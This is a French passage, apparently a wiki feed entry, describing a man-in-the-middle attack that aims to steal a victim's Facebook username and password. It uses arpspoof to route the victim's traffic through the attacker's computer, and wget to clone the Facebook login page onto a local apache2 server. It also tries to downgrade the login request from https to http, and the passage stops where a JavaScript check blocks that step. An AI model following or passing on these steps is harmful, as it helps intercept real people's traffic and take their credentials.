arpspoof permet alors de faire en sorte que le traffic sortant de la victime passe par notre ordinateur plutôt que par le gateway. On le laisse tourner pendant tout le temps de l'attaque, c'est à dire jusqu'à ce qu'on ait récupéré l'identifiant et mot de passe de la cible.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cependant pour que la victime ne remarque rien, il faut faire en sorte de récupérer la page d'accueil facebook pour la mettre sur notre serveur apache2. On se positionne donc dans le dossier /var/www/html/ et on exécute la commande suivante pour récupérer la page d'accueil :&lt;br /&gt;
&lt;br /&gt;
 wget http://fr-fr.facebook.com/&lt;br /&gt;
&lt;br /&gt;
Une fois cette page récupérée, on modifie alors l'adresse de la requête envoyée pour le login de manière à ce qu'elle soit envoyée non pas en https, mais en http. Cependant après avoir essayé cette méthode on s'aperçoit qu'un script en javascript fait en sorte que la requête se fasse en https malgré qu'on ait changé l'adresse. Il faut alors procéder différement pour arriver à notre fin.&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	</feed>